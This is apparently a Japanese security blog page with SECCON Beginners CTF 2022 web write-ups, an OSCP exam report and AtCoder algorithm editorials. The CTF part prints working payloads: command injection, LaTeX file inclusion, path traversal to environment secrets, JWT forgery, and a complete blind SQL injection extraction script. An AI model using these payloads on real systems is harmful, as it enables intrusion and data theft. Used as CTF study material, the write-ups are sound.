はまやんはまやんはまやん

hamayanhamayan's blog

SECCON Beginners CTF 2022 Pwn 解説まとめ Writeups

復習しましたー、環境生かして頂いてて、ありがとうございます。
解説元のみなさんもかなり勉強になりました…ありがとうございます。

https://score.beginners.azure.noc.seccon.jp/

SECCON Beginners CTF 2022 Web+α 解説

Web問全部と他解けた問題を解説。

Util [web]

main.goの29行目でcommnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"のように呼び出すコマンド文字列を作成している。
入力値は自由に入れられるので、コマンドインジェクション脆弱性がある。
セミコロンで複文にして、任意のコードを実行しよう。

127.0.0.1; ls /とするとping -c 1 -W 1 127.0.0.1; ls / 1>&2となる。
これで、前半のpingと後半のls / 1>&2となり、後半部分によってディレクトリを表示させることができる。
これでフラグのファイル名が漏洩するので、127.0.0.1; cat /flag_A74FIBkN9sELAjOc.txtでフラグが抜き取れる。

textex [web]

flagファイルが読めればよさそうだが、ランダム文字列がついていないのでRCEまでは要らなくて、LFIができればよさそう。
LFI観点で脆弱性を探しても特に気になる部分は見当たらなかったので、texの処理の過程でLFIできると想像して色々調べてみる。

まずはLFIできることを確認

調べると、LFIや場合によってはRCEができるようだ。
Latex Injection

色々試すと、特定ファイルはLFIできた。

\documentclass{article}
\begin{document}

\input{uwsgi.ini}

\end{document}

とりあえず、方向性はあっていそう。色々試すととれるファイルと取れないファイルがありそう。

flagという文字列チェックの回避

flagという文字列があると無害化されてしまうので、newcommandというのを使って文字列を分割することでチェックを回避する。

\documentclass{article}
\begin{document}

\newcommand{\variable}[1]{uwsgi.in#1}
\input{\variable{i}}

\end{document}

よし。これで後はflagを指定するだけ…と思っていたが、エラーになってしまう。

なぜか取り出せない問題の解決

環境構築をして、フラグとctf4b{x_y}と書き直すとエラーになる。内容にアンダースコアがあるとエラーになるようだ。
texの構造にかかわる文字列が含まれるとエラーになるのだろう。
そのまま読み込む方法がある(上記チートシートでも紹介されている)ので、これを使えばフラグが得られる。

\documentclass{article}
\usepackage{verbatim}
\begin{document}
\newcommand{\variable}[1]{fl#1}
\verbatiminput{\variable{ag}}
\end{document}

gallery [web]

フラグの場所が分からなかったが、handlers.goの25行目にfileExtension = strings.ReplaceAll(fileExtension, "flag", "")とあるのを見ると、/?file_extension=flagのように指定をして、flagを含むファイル名を抜き出してくるのだろう。

フラグが書かれているファイル名の特定

無害化しているfileExtension = strings.ReplaceAll(fileExtension, "flag", "")をよく見ると1度しか削除していないので、/?file_extension=flflagagのようにすれば、一回削除されてflagを入力値とできる。
これでファイル名が漏洩する。
/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdfが取得できればいい。

ファイルサイズ制限の回避

main.goの24行目あたりのfuncでファイルサイズ制限が働いている。
main.goの42行目を見ると10240bytesが上限のよう。

ファイルサイズ制限を回避するために一度に持ってくるファイルのサイズを指定することにしよう。
HTTPのRequest時にRangeヘッダーを追加することで、リクエストしているファイルの特定バイトをリクエストできる。
Rangeヘッダーが機能するかは実装によるのだが、試しにRange: bytes=0-50としてみると、%PDF-1.4のように正しくpdfファイルが抜き取れていそな応答が返ってくる。
このヘッダーを使ってファイルを取得してきて、結合するとフラグが書かれたpdfファイルが得られる。

serial [web]

フラグの場所を見るとDBに入っているのでSQL Injectionを使ってフラグの情報を抜き出してくるようだ。
まずはソースコードを巡回して使えそうな脆弱性を見ていこう。

  • databse.phpの65行目 $sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
    • 明らかなSQL Injection箇所。発生個所であるfindUserByName以外は対策されているのでここが起点
  • signup.phpの56行目 setcookie("__CRED", base64_encode(serialize($user)));
    • cookieにユーザー情報がシリアライズされて格納されている。取り出し時にも検証は無いようだ
    • 脆弱性というよりバッドプラクティスであるが、今回はこれが使える

SQL Injectionを発現する

findUserByNameが呼ばれている部分でユーザー入力がそのまま入りそうな所を見てみると、user.phpのlogin関数である。

function login()
{
    if (empty($_COOKIE["__CRED"])) {
        return false;
    }

    $user = unserialize(base64_decode($_COOKIE['__CRED']));

    // check if the given user exists
    try {
        $db = new Database();
        $storedUser = $db->findUserByName($user);
    } catch (Exception $e) {
        die($e->getMessage());
    }
    // var_dump($user);
    // var_dump($storedUser);
    if ($user->password_hash === $storedUser->password_hash) {
        // update stored user with latest information
        // die($storedUser);
        setcookie("__CRED", base64_encode(serialize($storedUser)));
        return true;
    }
    return false;
}

見てみると、cookieに入っているユーザー名がSQL Injectionに使われている。
試しに以下のようなPHPコードを作ってcookieの中身を見てみると、エラーメッセージからSQL Injectionが発生していることが分かる。

<?php
class User
{
    private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag");

    public $id;
    public $name;
    public $password_hash;

    public function __construct($id = null, $name = null, $password_hash = null)
    {
        $this->id = htmlspecialchars($id);
        $this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
        $this->password_hash = $password_hash;
    }

    public function __toString()
    {
        return "id: " . $this->id . ", name: " . $this->name . ", pass: " . $this->password_hash;
    }

    public function isValid()
    {
        return isset($this->id) && isset($this->name) && isset($this->password_hash);
    }
}

$x = 'Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjQ6IjE4MDYiO3M6NDoibmFtZSI7czo3OiJldmlsbWFuIjtzOjEzOiJwYXNzd29yZF9oYXNoIjtzOjYwOiIkMnkkMTAkM3E3SkN0YzVGUFZSbkpPY3NOS0ZkT0MudmZsSlF4eDkvNmxuRkJsVW9PYW05MVl5Lml6alciO30%3D';
$user = unserialize(base64_decode($x));

$user->name = "'";

echo base64_encode(serialize($user));

ただ、値取得はできなさそうなので、Blind SQL Injectionすることにする。

Error-Based Blind SQL Injection

例外発生は検知できるので、例外が発生するかどうかをオラクルとして情報を抜き出していくことにする。
いつものBlind SQLiとは違って、phpシリアライズド文字列が必要だったので、phpを呼び出してペイロードを作るシステムにして、抜き出しコードを作成していった。

以上のコードを少し改変して、引数に指定された文字列をユーザー名とするcookie用文字列を作るphpコードを用意した。

<?php
class User
{
    private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag");

    public $id;
    public $name;
    public $password_hash;

    public function __construct($id = null, $name = null, $password_hash = null)
    {
        $this->id = htmlspecialchars($id);
        $this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
        $this->password_hash = $password_hash;
    }

    public function __toString()
    {
        return "id: " . $this->id . ", name: " . $this->name . ", pass: " . $this->password_hash;
    }

    public function isValid()
    {
        return isset($this->id) && isset($this->name) && isset($this->password_hash);
    }
}

$x = 'Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjQ6IjE4MDYiO3M6NDoibmFtZSI7czo3OiJldmlsbWFuIjtzOjEzOiJwYXNzd29yZF9oYXNoIjtzOjYwOiIkMnkkMTAkM3E3SkN0YzVGUFZSbkpPY3NOS0ZkT0MudmZsSlF4eDkvNmxuRkJsVW9PYW05MVl5Lml6alciO30%3D';
$user = unserialize(base64_decode($x));

$user->name = $argv[1];

echo base64_encode(serialize($user));

上をa.phpとして保存して、以下のようなコードでBlind SQL Injectionを行っていく。

import requests
import subprocess
import time

url = "https://serial.quals.beginners.seccon.jp/"

def send(p):
    payload = subprocess.run(["php","a.php",p], stdout=subprocess.PIPE).stdout.decode('utf-8')
    return requests.get(url, cookies={"__CRED": payload}).text

def check(p):
    res = send(p)
    return 'failed query for' in res

ans = ""
for i in range(1, 1010):
    ok = 0
    ng = 255

    while ok + 1 != ng:
        md = (ok + ng) // 2
        exp = f"' or (select exp(1783) where {md} <= ascii(substring(({req}),{i},1))) #"
        if check(exp):
            ok = md
        else:
            ng = md

    if ok == 0:
        break

    ans += chr(ok)
    time.sleep(1)
    print(f"[*] {ans}")
print(f"[*] done! {ans}")

Ironhand [web]

フラグはsecretマシンにあるが、このマシンに到達するにはappマシンの/にadmin権限を持つユーザーでアクセスする必要がある。
パっと見てadmin=trueとする方法はなさそうなので、JWTの偽装が必要そう。
脆弱性を探していくとJWTの偽装に使えそうな脆弱性が見つかる。

LFI

main.goの121行目で定義されている/static/:fileにはLFI脆弱性が存在する。
:file部分に../を含むようなパスが指定できればうまくディレクトリトラバーサルが働いてLFIできそうである。
しかし、呼び出しの際にnginxが嚙まされているせいで、普通に../を入れこんでもエラーになってしまう。
ここで使えるのがmain.goの122行目で実施されているpath, _ := url.QueryUnescape(c.Param("file"))で更にアンエスケープ処理が入っているので、2回URLエスケープしてやれば、フレームワークで1回アンエスケープされて、122行目でさらにもう1回アンエスケープされてうまくディレクトリトラバーサルにつなげられる。

LFIからどうする?

今回はJWTの秘密鍵が分かると偽装が可能になるが、この秘密鍵環境変数に入れられている。
実は/proc/self/enrivonを参照すると環境変数を取得することができる!!
ここがなかなか知識ゲーではあるが、これを知っていれば自然な流れで考察が進む。
という訳でGET /static/%252E%252E%252F%252E%252E%252Fproc%252Fself%252FenvironするとJWTの秘密鍵U6hHFZEzYGwLEezWHMjf3QM83Vn2D13dを取得できる。

JWT

後は、Cookieに入っているJWTトークンを偽装してやればいい。
jwt.ioを使えばいい。

CoughingFox [crypto]

場所がシャッフルされているが、各暗号数値について対応するiを全探索して、暗号後数値-iが平方数であれば、そのiが正しい位置とすればiが一意に定まる。 あとは適当に復元すればフラグが得られる。

bool isSquare(ll n) {
    ll d = (ll)sqrt(n) - 1;
    while (d * d < n) ++d;
    return d * d == n;
}

void _main() {
    string ans = "ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}";

    int x;
    while (cin >> x) {
        int sz = ans.size();
        rep(i, 0, sz) if (isSquare(x - i)) {
            ans[i] = char(sqrt(x - i) - i);
        }
    }

    cout << ans << endl;
}

H2 [misc]

x-flagというヘッダーにフラグが書いてあるらしいのでwiresharkhttp2.header.name == x-flagで検索することでフラグが得られる。

OSCP 合格体験記 2022/05

ナレッジ共有です。

OSCPを受ける前に

  • HackTheBoxを少なくとも数個は完了させておくこと
    • HackTheBoxのVIPはOSCPに比べたら信じられないくらい安いのでVIPを契約して、少なくともWriteupを見ながらEasyが攻略できるか確認しておくといい。見ながらでも良く分からない場合は、早い気がする
      • 最近は日本語Writeupも沢山あるので、日本語Writeupがあるものからやっていくのもいい
    • linuxコマンドの説明とかネットワークまわりのとか必要なことは説明してくれるが、1契約期間がmax 90日であることを考えると、そんなことやってる場合じゃないし、完全じゃない
    • どんな学習過程でもそうかもしれないが、ラボ攻略はある時点から急激に勝手がわかってくる。思考法みたいなものを学べるので、あるとき急激に理解が進んだ実感があった。その時点をOSCPのラボ期間中に持ってこれると一番コスパ良い
    • OSCPに似ているボックスが紹介されている。他にもまとめがあったような https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=0
  • pythonPHPが読める必要がある
    • 他にもちょっと出てきたりするが、ほぼほぼこの2つなので、最低限読めるようになっておく必要がある
  • 英語
    • 英語は全く分からないと困ります。OSCP受けるような人なら必須ラインは越えてる気がしますが、OSCP受験時はテキストベースですが英語でやり取りする必要があるので注意です
    • 試験中コーヒー飲みまくってたので「I want to go to the bathroom.」が一番使った英語です。(ICPCのアジア予選でも使った気がするな)

OSCPで学べること

  • 網羅的な攻撃手法
    • 攻撃手法もそうだが、割と実務ベースで色々なことを教えてくれる
    • 高くて資料が分厚いだけあってかなり網羅性がある
  • 攻撃者の思考法
    • これは明記されている訳ではなく、自分が読み取った感じであるが、攻撃者の思考法を模倣できる
    • 「この環境にはこれが無いんや、面倒やけど持ってくるか」とか「こういうハーデニングされてるのかー面倒やな」とか「ウイルス対策うざすぎんか?」とか人間味あふれる攻撃模様を体感できる
    • 現実の攻撃でPCにある情報を根こそぎ圧縮ファイルに固めてMegaとかで抜いていることが書いてあるホワイトペーパーがあったりするが、侵入が面倒な端末に対しては入りなおすのも面倒だから根こそぎ情報を抜き取ってきたい信条になる。Persistenceの重要性も理解できるのでMITRE ATT&CKなどがとても実感できる
  • AD環境へのハッキング
    • 学習用のAD環境というはOSCPラボに限らず色々な所でサービスとなっているが、どこも高いので、ついでと言っては何だが、OSCPで学ぼう
    • それほど難しいことは学べないので注意

実際OSCPで教わる攻撃手法はHackTheBoxのRetireマシンを全部やれば、ほぼほぼ網羅できると思う。だが、企業を模倣した80台レベルの環境というのはそうそうないので、そういった環境を楽しんで探索できるのがOSCPラボの魅力かと思う。

(実際、試験は穴が見つかるか見つからないかのチキゲームで、ちょっとセンスゲーな感じがしないでもないが…)
試験自体は、実際流れというか基本概念が分かっていれば、後は24時間頑張れば行き当たりばったりで合格できる気がする。ただ、この辺りは非常に評価が分かれそうで、強者にとっては自明すぎてやるだけなのだが、見つからない人は一生見つからないみたいな競プロみたいな事態になりそう。とは言っても、ここも競プロ同様に経験でカバー可能なので、鍛錬を積もう。

ラボ攻略について

  • かなり楽しいので時間を作ってやること
  • "Forum"
    • ラボ受講者向けの情報交換フォーラムがあり、ラボのヒントが投稿される
    • 大体ここを読み込めば難しいマシンでもなんとなく解ける
    • これを使わないと1か月で全完は無理。というか、もう終わらせることが目標になっていて、後半はかなりForum見ながらやってました…
  • ラボ攻略のペース
    • 1か月でほぼほぼ全部解きましたが、平日5時間休日空き全てを費やして1か月かかります。1台3,4時間くらいのペース?多分。
    • 深いマシンの方が難しいというかそういったことはあまりないが、面倒というか別方面で頑張ることが増える
    • 試験では離れ環境とかは無いのでPublicがとりあえず一通り解ければ受かるんじゃないかな
    • ラーニングパスがあるので従うこと。https://help.offensive-security.com/hc/en-us/articles/360050473812-PWK-Labs-Learning-Path
      • 特にRetiredマシンみたいな扱いを受けて、Forumに1から10まで攻撃方法が書いてあるマシンがあるので、それから初めてもいい
  • やっていくと分かる直接的ではないヒント
    • ForumではIPというより、ユーザー名やホスト名でヒントを出してる人が多いので、マシンに侵入が完了したらユーザー名やホスト名はメモっておくこと
    • ハーデニングがなされているマシンがあることに注意。攻撃者、もしくは、防御者の始点になって設定を想像すること
    • Publicネットワークと他の離れ環境の間のFWの設定も色々頑張ってやってる。1パターンではないので、色々な可能性を考えること
    • 解けた場合でもForumは巡回した方がいい。知見がかなりたくさんある
  • 攻略しながらOSCP本試験で使うチートシートを作ること
    • 色々な受験記で言われていることですね
  • BoFについて
  • あ、あと教科書のExerciseは一個もやってません
    • なので良し悪し分からないです

他の体験記

先達の方が出されている体験記を読み漁りました。
(ググったらヒットしすぎてビビるくらいです。多分合格者全員書いてる)
どれも生々しいものばかりでとても参考になりますし、合格してから読み返しても納得感があります。
適当に読み漁っていたので、以下がすべてではないと思いますが、手元にあるものを並べておきます。(多分これ以外の無料の体験記もすべて読んでいる気がします)

注意点として、2020年にラボ環境の改変と、2021年末に試験の改変があったので、それを頭の片隅に入れておくこと。

終わってみての印象はADがほぼ攻略必須になったくらいで、それほど変わらず、引き続き昔の体験記も非常に参考になります。

タイムライン

  • ここまでの前提としては…
    • CTFのWeb問を解いていた CTFにおけるWebセキュリティ入門とまとめ - はまやんはまやんはまやんにあるくらいの知識量。一応一通り知ってはいるレベル
      • Web Exploitの知識はOSCPにかなり役立った。多分結構教科書スキップできた
    • Forensicもちょっとやってたが、それ以外は全然やってない
    • 資格はRISS, Comptia Security+, GCFEを持ってるくらい
    • VulnMachine系はHackTheBoxは数個やったことがある。流れや雰囲気は分かる。
  • 2021年9月 OSCPの30日ラボ
    • 全部英語で書いてある859ページの教科書はだいぶキツいです
    • ちょっと時間もあんまり取れず、この時はラボマシン2つくらいしか完了しなかったように思います
  • 2021年10月 HackTheBoxのVIP契約をしてRetiredマシンを50台ほど攻略
  • 2022年1月 もう一度、HackTheBoxのVIP契約をしてRetiredマシンを50台ほど攻略
    • なんだかんだHackTheBoxは安くて学習できますね…
    • ADさえなければ、これだけでOSCP受かるな
    • ADが試験に追加されるということで、TryHackMeのWindowsマシンとかやってたような気が(10台ほど)
  • 2022年2月 OSCP 1回目試験
    • 非ADマシンでとりあえず30点を獲得して、後はADラボだと思っていたが、ADラボが…解けない…ちゃんと勉強して2回目に臨んだら解けたので、自分の理解度不足だったっぽい(っぽいけど、解けてから振り返ると、こんなしょうもないことが原因で落ちて3万近く払ったと思うとモヤる)
  • 2022年3月 AD勉強しなおし
    • ボーナスポイントはやる気があまり起きなかったし、AD問題は解けるのが必須だったので、ちょっと別途勉強しておいた。ADへの理解がかなり深まった
    • いろいろBoxをやったりもしたが、以下2つがとても参考になったのでオススメ
    • ミミミミミッミ:Allsafe は本当に聖書のような本だった。情報Iに入れてもいいくらい参考になった
    • Practical Ethical Hacking - The Complete Course | TCM Security, Inc. 安いがとても参考になった。オススメ。
  • 2022年4月 OSCPの30日ラボ延長
    • とりあえず勉強はしまくってきたので30日間は全部ラボ攻略に費やした
    • 4/4に始めて5/1に全完しました。フラグが出せるラボを全部出さなくても全完判定されるので、それで満足してしまったので、実際2,3個残ってました
    • HackTheBoxと1つ1つは一緒ではあるが、色々な要素があって、攻撃者の気持ちがちょっと分かったというか、多層防御とかハーデニングとかの大切さと、どういう対策が気休め程度かの理解ができました。落ちた分の学習はできました
  • 2022年5月 HackTheBoxのランク上げ
    • OSCP試験日までちょっと時間があったのでHackTheBoxのランク上げしてました
    • Hackerまではそれほど大変ではなくて、Pro Hackerに上げるのはちょっと大変。ここまではやってればというか時間があれば行くけどエリート以降は結構大変そう。
    • 本当はEndgameがunlockされるGuruまで上げたい所だけれど、ChallengeとかでPwnとかReverseとかCryptoとかもやっていかないといけないみたいで、かなり大変そう
  • 2022年5月 OSCP 2回目試験
    • 無事合格しました!

…ん?お金?当然全部自腹です。
円安も相まって、総額計算するのも怖いですが。

試験について

  • 試験前にレポートのひな型作成していました。試験中にレポート日本語で作りながら解こうと思っていたので日本語で観点を先に書いておいていました
  • 受験時のこと
    • ボーナスポイント無かったのでAD完全攻略が必須だったので、ADから攻略開始してかなりひりつきました。1回目はADでやられましたが、今回は何とか攻略できましたが、気がついてみれば…という感じ。まあ、どれもそうか。あきらめずに頑張ることが大事
    • 他はproof.txtが2つ取れて、1つも解けないマシンが1つでした
    • なので5/6台を攻略して80点想定でFinishです
    • 20時間連続で攻略して、そのあと4時間寝て終わりました

この辺あまり具体的に書けないのでTry Harderとだけ。ラボで要求されていることができていれば問題ありません。

Index Trio [モノグサプログラミングコンテスト2022(AtCoder Beginner Contest 249) D]

https://atcoder.jp/contests/abc249/tasks/abc249_d

前提知識

解説

https://atcoder.jp/contests/abc249/submissions/31211388

とある数xの約数列挙をO(sqrt(x))で行う方法がある。
もし分からない場合は「約数列挙」あたりで検索して、勉強してくる必要がある。
(今回は、naiveに約数列挙するより、区間で約数列挙を事前計算でしておいた方が早そうな気もするが…未検証)

何から考えるか

まずi,j,kの全列挙を考えてみる。これはO(N3)で当然間に合わない。
だが、経験則から、こういった添え字の列挙問題はどれか1つは全列挙して、他を最適化する方針が多い。
とりあえずiを全列挙して、他をうまく効率化できないか、使える性質を探してみよう。

約数

条件で、A[i] / A[j]というのがあるが、計算結果がA[k]になるかを考えるので、
この分数は計算すると整数になる必要がある。
iを全探索、つまり、A[i]を固定して他を最適に考えるとすると、A[j]というのはA[i]の約数である必要が最低限ある。
しかも、A[j]が定まればA[k]も一意に定まるので、実質A[i]が固定化されているときの選択肢はA[i]の約数個数分しかない。
これは使えそうな性質である。

約数を列挙する方法については、高速なやり方があるので、それを利用する。
約数の個数は問題にならないかという疑問があるが、「高度合成数」という概念があり、
2*105だと160くらいが上限っぽいのでこれなら問題ない。

解法へ

以下を前計算しておく。
cnt[x] := A[i]=xとなるiの個数

iを全列挙してA[i]を固定化させたら、次は条件を満たすjを列挙する。
これは約数だけでいいので、代わりに、jの全列挙はA[i]の約数の全列挙をする。

とあるA[i]の約数divとなるjの個数はcnt[div]個であり、A[k]はA[i]/divとなるのでkの個数はcnt[A[i]/div]個となる。
jとkの組はどんな組でも問題ないので、cnt[div] * cnt[A[i]/div]通りが
その約数を使った時の条件を満たす組み合わせとなる。

あとは全部総和を取れば答え。

int N, A[201010];
int cnt[201010];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;
    rep(i, 0, N) cin >> A[i];
    rep(i, 0, N) cnt[A[i]]++;

    ll ans = 0;
    rep(i, 0, N) {
        auto divs = enumdiv(A[i]);
        fore(div, divs) {
            int cntJ = cnt[div];
            int cntK = cnt[A[i] / div];
            ans += 1LL * cntJ * cntK;
        }
    }
    cout << ans << endl;
}

Just K [モノグサプログラミングコンテスト2022(AtCoder Beginner Contest 249) C]

https://atcoder.jp/contests/abc249/tasks/abc249_c

前提知識

  • bit全列挙

解説

https://atcoder.jp/contests/abc249/submissions/31208645

この問題ではbit全列挙が分かっているとスムーズに解くことができる。
bit全列挙については、他に詳しい解説があるので、そちらを参照して学習することをすすめる。

全列挙

競技プログラミングの基本は全列挙である。
今回、文字列を好きな個数選ぶことができるということであるが、Nがとても小さいので、
その文字列の選び方を全て列挙して検証することができる。

今回のような、選ぶ選ばないというのを全列挙するのに使えるのがbit全列挙である。
bitの01を選ぶ選ばないにマッピングすることで選択状態をbit列、ないし、数値として考えることができる。
全列挙するにあたってbit全列挙を使うことは必須ではないのだが、とてもお手軽な書き方であるし、
かつ、多くの解説がbit全列挙を前提に書いてあることが多いので、理解しておくといい。

とある選択方法について種類数を数える

全ての選択方法は列挙しても間に合うので、後はそれぞれの選び方について
『「選んだ文字列の中でちょうど K 個の文字列に登場する英小文字」の種類数』が計算できればいい。
これは全ての文字列に対して文字をカウントして、K個であるものを最後に数えればいい。
自分はmapを使って、

cnt[c] := 文字cが現れる回数

を選択した文字列に対して集計して、回数がK個である文字数を数えて、その最大値を取るようなコードを書いた。

int N, K;
string S[15];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> K;
    rep(i, 0, N) cin >> S[i];

    int ans = 0;
    rep(msk, 0, 1 << N) {
        map<char, int> cnt;
        rep(i, 0, N) if (msk & (1 << i)) fore(c, S[i]) cnt[c]++;

        int ok = 0;
        fore(p, cnt) if (p.second == K) ok++;
        chmax(ans, ok);
    }
    cout << ans << endl;
}

Keep Connect [ユニークビジョンプログラミングコンテスト2022(AtCoder Beginner Contest 248) F]

https://atcoder.jp/contests/abc248/tasks/abc248_f

前提知識

解説

https://atcoder.jp/contests/abc248/submissions/31047647

全くメジャーな言い回しではないが、連結DPをする。
ただ単に連結性を状態として持つDP。
一般にこの手のDPでは行列累乗を求めることが多いが、この問題ではそこまで要求もしておらず、
かつ、比較的シンプルな連結性の管理なので、連結DPの入門問題としてかなりいい問題。

DP?

連結DPになじみが無い人にとっては、この問題をDPで解くというのがなんともピンとこないかもしれない。
DPテーブルの定義としては、N列ある点の内、「i列目までの辺の有無が決定している」というのを使っていく。
最終的な条件として、グラフが連結であるということと、取り除く辺の本数も聞かれているので、
以下のようなDPを考える。

dp[cu][del][con]
:= cu列目まで辺の有無が決定していて、
既にdel本辺を削除していて、
上と下が連結しているかがcon(0非連結、1連結)
であるような辺の削除の仕方の組み合わせ

さて、cu列目まで確定していて、そこからcu+1列方面(ざっくり→方面)に辺を確定させると考えたときに
既にcu列目までですべて連結していれば、特に条件については問題ない。
しかし、非連結である場合、

連結成分 連結成分 cu+1列目  

のように横に連結成分が離れている場合は、それ以降で修復することはできない。
なので、修復可能な場合は

連結成分 cu+1列目  
連結成分 cu+1列目  

ちょっと分かりにくいかもだけれど、上下に連結成分が離れている場合のみである。
上下と書いたが、

┌―――  
└― ―  

このような感じでも後でつなげればいいので、上下に連結成分が分かれていると考えて問題ない。
よって、連結性についての状態は「0:上下に非連結」か「1:連結」だけを考えればいい。

初期状態

最初は1列目なので、縦の辺を使うか使わないかで判断する。

dp[1][0][1] = 1;  
dp[1][1][0] = 1;  

これは良いかなという感じ。

遷移

コの字で辺を使うかどうかを考える。
ソースコードを見てもらえばわかるが、どの辺を消したかを全通り人力で遷移を書いている。
全部で8通りなので、まだ人力でやれるレベルではあるが、注意しながらやること。
遷移の流れはコメントでソースコードにインラインで追加した。
そちらを見て理解してほしい。

int N, P;
int dp[3010][9010][2];

void chadd(int& x, int y) {
    x = (x + y) % P;
}

void _main() {
    cin >> N >> P;

    dp[1][0][1] = 1;
    dp[1][1][0] = 1;

    rep(i, 1, N) rep(del, 0, 9000) {
        // all -> ng

        // 2 del -> ‾
        // 上だけを残すので、連結状態であることが前提。遷移後は非連結
        chadd(dp[i + 1][del + 2][0], dp[i][del][1]);

        // 2 del -> _
        // 同上
        chadd(dp[i + 1][del + 2][0], dp[i][del][1]);

        // 1 del -> ‾|
        // 上と縦を残す。連結状態であることが前提。遷移後は縦があるので連結になる
        chadd(dp[i + 1][del + 1][1], dp[i][del][1]);

        // 1 del -> _|
        // 同上
        chadd(dp[i + 1][del + 1][1], dp[i][del][1]);

        // 1 del -> ‾_
        // 上下を残す。連結かどうかは問わず使えるが、連結状態は継承される
        chadd(dp[i + 1][del + 1][1], dp[i][del][1]);
        chadd(dp[i + 1][del + 1][0], dp[i][del][0]);

        // 0 del -> ‾_|
        // 全部残す。連結かどうかは問わずに使うことができ、どんな状態でも連結状態になる
        chadd(dp[i + 1][del][1], dp[i][del][0]);
        chadd(dp[i + 1][del][1], dp[i][del][1]);
    }

    rep(i, 1, N) {
        if (i != 1) printf(" ");
        printf("%d", dp[N][i][1]);
    }
    printf("\n");
}

K-colinear Line [ユニークビジョンプログラミングコンテスト2022(AtCoder Beginner Contest 248) E]

https://atcoder.jp/contests/abc248/tasks/abc248_e

解説

https://atcoder.jp/contests/abc248/submissions/31046558

幾何問題。
以下解法、非常に面倒なので、別の解法があるかも…

(解法に移る前に)

以下のケースでちょっとはまったので、WAではまってる人はこれを確認してみるといいかも。

6 3  
1 3  
1 4  
1 5  
6 10  
6 11  
6 12  

Infinityのとき

K=1の場合はどのような場合でも無数に解が存在する。
K=1の時は、Infinityと出して終了しよう。

どういった方針を取るか

今回は点を通る直線を題材とした問題であるが、直線は少なくとも2点があれば作成することができる。
逆に3点あると複数の直線ができてしまったり、色々面倒なので、2点を使った直線から解法が導けないか考えてみる。

ここから思考が飛ぶが、試行錯誤がこの間にあったと考えてほしい…

例えば、任意のa番目の点とb番目の点(a<b)について直線を列挙していったときに、
同一直線状に3点ある直線は3回現れる。点abcを通っていれば、ab,ac,bcの列挙時に出てくる。
同一直線状に4点ある直線は6回現れる。点abcdを通っていれば、ab,ac,ad,bc,bd,cdの列挙時に出てくる。
つまり、同一直線についてはn点あれば、C(n,2)回現れることになる。(関数Cは二項係数)

よって、
cnt[ (ある直線を表す何らかの情報)] := 任意の2頂点を選んだときにある直線が何通りあるか
というのが計算できれば、その個数から直線に何個点があるかを逆算することができる。

『ある直線を表す何らかの情報』

自分はこれに傾きと切片を使った。
入力値が[-109,109]だったので、doubleは落ちそうな気配があり、有理数でどちらも保持する道を選んだ。
傾きをdx/dy, 切片をbup/bdownという風に有理数で定義して、2つの分数について正規化をすれば、
(dx, dy, bup, bdown)の数の組がとある直線を一意に表してくれるようになる。
以下の関数を作って計算している。

getParameter(a,b) := 2頂点a,bを通る直線を表す(dx, dy, bup, bdown)を返す

具体的には
https://blog.hamayanhamayan.com/entry/2018/09/30/203639
っぽいことをやる。

a = (ya - yb) / (xa - xb)
b = (xa * yb - xb * ya) / (xa - xb)

という感じで分数を作って、ソースコードにあるnormalization関数みたいに有理化する感じである。
(xa - xb)が0になるときが注意で、傾きは分子を1にするが、切片は分子をそのままにしている。
縦の直線なので、傾きと切片を定義はできないのだが、便宜上このようにして直線を同一視させている。

pair<ll, ll> normalization(ll up, ll down, bool slope = true) {
    if (down < 0) {
        up *= -1;
        down *= -1;
    }

    if (down == 0) {
        if (slope) up = 1;
    }
    else {
        ll g = gcd(abs(up), down);
        up /= g;
        down /= g;
    }

    return {up, down};
}

int N, K; ll X[301], Y[301];

tuple<ll, ll, ll, ll> getParameter(int a, int b) {
    ll dx = X[a] - X[b];
    ll dy = Y[a] - Y[b];

    tie(dy, dx) = normalization(dy, dx);

    // ya = dy * xa / dx + b
    // b = (ya * dx - dy * xa) / dx

    ll bup = Y[a] * dx - dy * X[a];
    ll bdown = dx;

    tie(bup, bdown) = normalization(bup, bdown, false);
    return { dy, dx, bup, bdown };
}

void _main() {
    cin >> N >> K;
    rep(i, 0, N) cin >> X[i] >> Y[i];

    if (K == 1) {
        cout << "Infinity" << endl;
        return;
    }

    map<tuple<ll, ll, ll, ll>, int> cnt;

    rep(a, 0, N) rep(b, a + 1, N) cnt[getParameter(a, b)]++;

    map<int, int> rcomb;
    rep(n, K, N + 1) rcomb[n * (n - 1) / 2] = 1;

    int ans = 0;
    fore(p, cnt) ans += rcomb[p.second];
    cout << ans << endl;
}